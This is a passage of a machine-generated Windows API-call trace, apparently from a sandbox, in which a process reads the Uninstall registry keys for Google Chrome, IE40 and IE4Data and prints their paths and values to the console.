lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x73, pcbData=0x29f780*=0x4) returned 0x0 [0149.066] __iob_func () returned 0x7fefd702a80 [0149.066] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.066] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.066] _fileno (_File=0x7fefd702ab0) returned 1 [0149.066] _errno () returned 0x204bb0 [0149.066] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.066] _errno () returned 0x204bb0 [0149.066] GetFileType (hFile=0x50) returned 0x1 [0149.066] lstrlenW (lpString=" ") returned 4 [0149.066] GetConsoleOutputCP () returned 0x1b5 [0149.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.066] GetConsoleOutputCP () returned 0x1b5 [0149.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.066] lstrlenW (lpString="VersionMinor") returned 12 [0149.067] __iob_func () returned 0x7fefd702a80 [0149.067] _fileno (_File=0x7fefd702ab0) returned 1 [0149.067] _errno () returned 0x204bb0 [0149.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.067] _errno () returned 0x204bb0 [0149.067] GetFileType (hFile=0x50) returned 0x1 [0149.067] lstrlenW (lpString="VersionMinor") returned 12 [0149.067] GetConsoleOutputCP () returned 0x1b5 [0149.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.067] GetConsoleOutputCP () returned 0x1b5 [0149.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0149.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.067] __iob_func () returned 0x7fefd702a80 [0149.067] _fileno (_File=0x7fefd702ab0) returned 1 [0149.067] _errno () returned 0x204bb0 [0149.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.067] _errno () returned 0x204bb0 [0149.067] GetFileType (hFile=0x50) returned 0x1 [0149.067] lstrlenW (lpString=" ") returned 4 [0149.067] GetConsoleOutputCP () returned 0x1b5 [0149.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.067] GetConsoleOutputCP () returned 0x1b5 [0149.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.068] __iob_func () returned 0x7fefd702a80 [0149.068] _fileno (_File=0x7fefd702ab0) returned 1 [0149.068] _errno () returned 0x204bb0 [0149.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.068] _errno () returned 0x204bb0 [0149.068] GetFileType (hFile=0x50) returned 0x1 [0149.068] lstrlenW (lpString="REG_DWORD") returned 9 [0149.068] GetConsoleOutputCP () returned 0x1b5 [0149.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.068] GetConsoleOutputCP () returned 0x1b5 [0149.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.068] __iob_func () returned 0x7fefd702a80 [0149.068] _fileno (_File=0x7fefd702ab0) returned 1 [0149.068] _errno () returned 0x204bb0 [0149.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.068] _errno () returned 0x204bb0 [0149.068] GetFileType (hFile=0x50) returned 0x1 [0149.068] lstrlenW (lpString=" ") returned 4 [0149.068] GetConsoleOutputCP () returned 0x1b5 [0149.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.069] GetConsoleOutputCP () returned 0x1b5 [0149.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.069] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.069] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.069] __iob_func () returned 0x7fefd702a80 [0149.069] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.069] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x73") returned 4 [0149.069] _fileno (_File=0x7fefd702ab0) returned 1 [0149.069] _errno () returned 0x204bb0 [0149.069] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.069] _errno () returned 0x204bb0 [0149.069] GetFileType (hFile=0x50) returned 0x1 [0149.069] lstrlenW (lpString="0x73") returned 4 [0149.069] GetConsoleOutputCP () returned 0x1b5 [0149.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x73", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.069] GetConsoleOutputCP () returned 0x1b5 [0149.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x73", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x73", lpUsedDefaultChar=0x0) returned 4 [0149.069] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.069] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.069] __iob_func () returned 0x7fefd702a80 [0149.069] _fileno (_File=0x7fefd702ab0) returned 1 [0149.069] _errno () returned 0x204bb0 [0149.069] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.069] _errno () returned 0x204bb0 [0149.069] GetFileType (hFile=0x50) returned 0x1 [0149.069] lstrlenW (lpString="\n") returned 1 [0149.070] GetConsoleOutputCP () returned 0x1b5 [0149.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.070] GetConsoleOutputCP () returned 0x1b5 [0149.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.070] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.070] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.070] GetProcessHeap () returned 0x3c0000 [0149.070] GetProcessHeap () returned 0x3c0000 [0149.070] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.070] GetProcessHeap () returned 0x3c0000 [0149.070] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.070] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.070] __iob_func () returned 0x7fefd702a80 [0149.070] _fileno (_File=0x7fefd702ab0) returned 1 [0149.070] _errno () returned 0x204bb0 [0149.070] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.070] _errno () returned 0x204bb0 [0149.070] GetFileType (hFile=0x50) returned 0x1 [0149.070] lstrlenW (lpString="\n") returned 1 [0149.070] GetConsoleOutputCP () returned 0x1b5 [0149.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.071] GetConsoleOutputCP () returned 0x1b5 [0149.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.071] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.071] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x20 [0149.071] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0149.071] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.071] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome") returned 96 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc4) returned 0x3df260 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.071] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260) returned 1 [0149.071] GetProcessHeap () returned 0x3c0000 [0149.071] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df260) returned 0xc4 [0149.071] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260 | out: hHeap=0x3c0000) returned 1 [0149.071] RegCloseKey (hKey=0x5c) returned 0x0 [0149.071] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x6, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.071] __iob_func () returned 0x7fefd702a80 [0149.071] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.072] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n") returned 88 [0149.072] _fileno (_File=0x7fefd702ab0) returned 1 [0149.072] _errno () returned 0x204bb0 [0149.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.072] _errno () returned 0x204bb0 [0149.072] GetFileType (hFile=0x50) returned 0x1 [0149.072] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n") returned 88 [0149.072] GetConsoleOutputCP () returned 0x1b5 [0149.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n", cchWideChar=88, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 88 [0149.072] GetConsoleOutputCP () returned 0x1b5 [0149.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n", cchWideChar=88, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n", lpUsedDefaultChar=0x0) returned 88 [0149.072] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 88 [0149.072] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.072] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.072] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.072] GetProcessHeap () returned 0x3c0000 [0149.072] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.072] __iob_func () returned 0x7fefd702a80 [0149.072] _fileno (_File=0x7fefd702ab0) returned 1 [0149.072] _errno () returned 0x204bb0 [0149.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.072] _errno () returned 0x204bb0 [0149.072] GetFileType (hFile=0x50) returned 0x1 [0149.072] lstrlenW (lpString="\n") returned 1 [0149.072] GetConsoleOutputCP () returned 0x1b5 [0149.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.073] GetConsoleOutputCP () returned 0x1b5 [0149.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.073] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.073] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.073] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.073] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned 87 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb2) returned 0x3df260 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.073] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260) returned 1 [0149.073] GetProcessHeap () returned 0x3c0000 [0149.073] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df260) returned 0xb2 [0149.073] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260 | out: hHeap=0x3c0000) returned 1 [0149.073] RegCloseKey (hKey=0x5c) returned 0x0 [0149.073] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x7, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.073] __iob_func () returned 0x7fefd702a80 [0149.073] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.074] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n") returned 91 [0149.074] _fileno (_File=0x7fefd702ab0) returned 1 [0149.074] _errno () returned 0x204bb0 [0149.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.074] _errno () returned 0x204bb0 [0149.074] GetFileType (hFile=0x50) returned 0x1 [0149.074] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n") returned 91 [0149.074] GetConsoleOutputCP () returned 0x1b5 [0149.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n", cchWideChar=91, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 91 [0149.074] GetConsoleOutputCP () returned 0x1b5 [0149.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n", cchWideChar=91, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n", lpUsedDefaultChar=0x0) returned 91 [0149.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 91 [0149.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.074] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.074] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.074] GetProcessHeap () returned 0x3c0000 [0149.074] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.074] __iob_func () returned 0x7fefd702a80 [0149.074] _fileno (_File=0x7fefd702ab0) returned 1 [0149.074] _errno () returned 0x204bb0 [0149.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.074] _errno () returned 0x204bb0 [0149.074] GetFileType (hFile=0x50) returned 0x1 [0149.074] lstrlenW (lpString="\n") returned 1 [0149.074] GetConsoleOutputCP () returned 0x1b5 [0149.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.075] GetConsoleOutputCP () returned 0x1b5 [0149.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.075] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.075] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.075] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.075] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned 90 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb8) returned 0x3df260 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.075] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260) returned 1 [0149.075] GetProcessHeap () returned 0x3c0000 [0149.075] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df260) returned 0xb8 [0149.075] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260 | out: hHeap=0x3c0000) returned 1 [0149.075] RegCloseKey (hKey=0x5c) returned 0x0 [0149.075] RegEnumKeyExW (in: hKey=0x58, 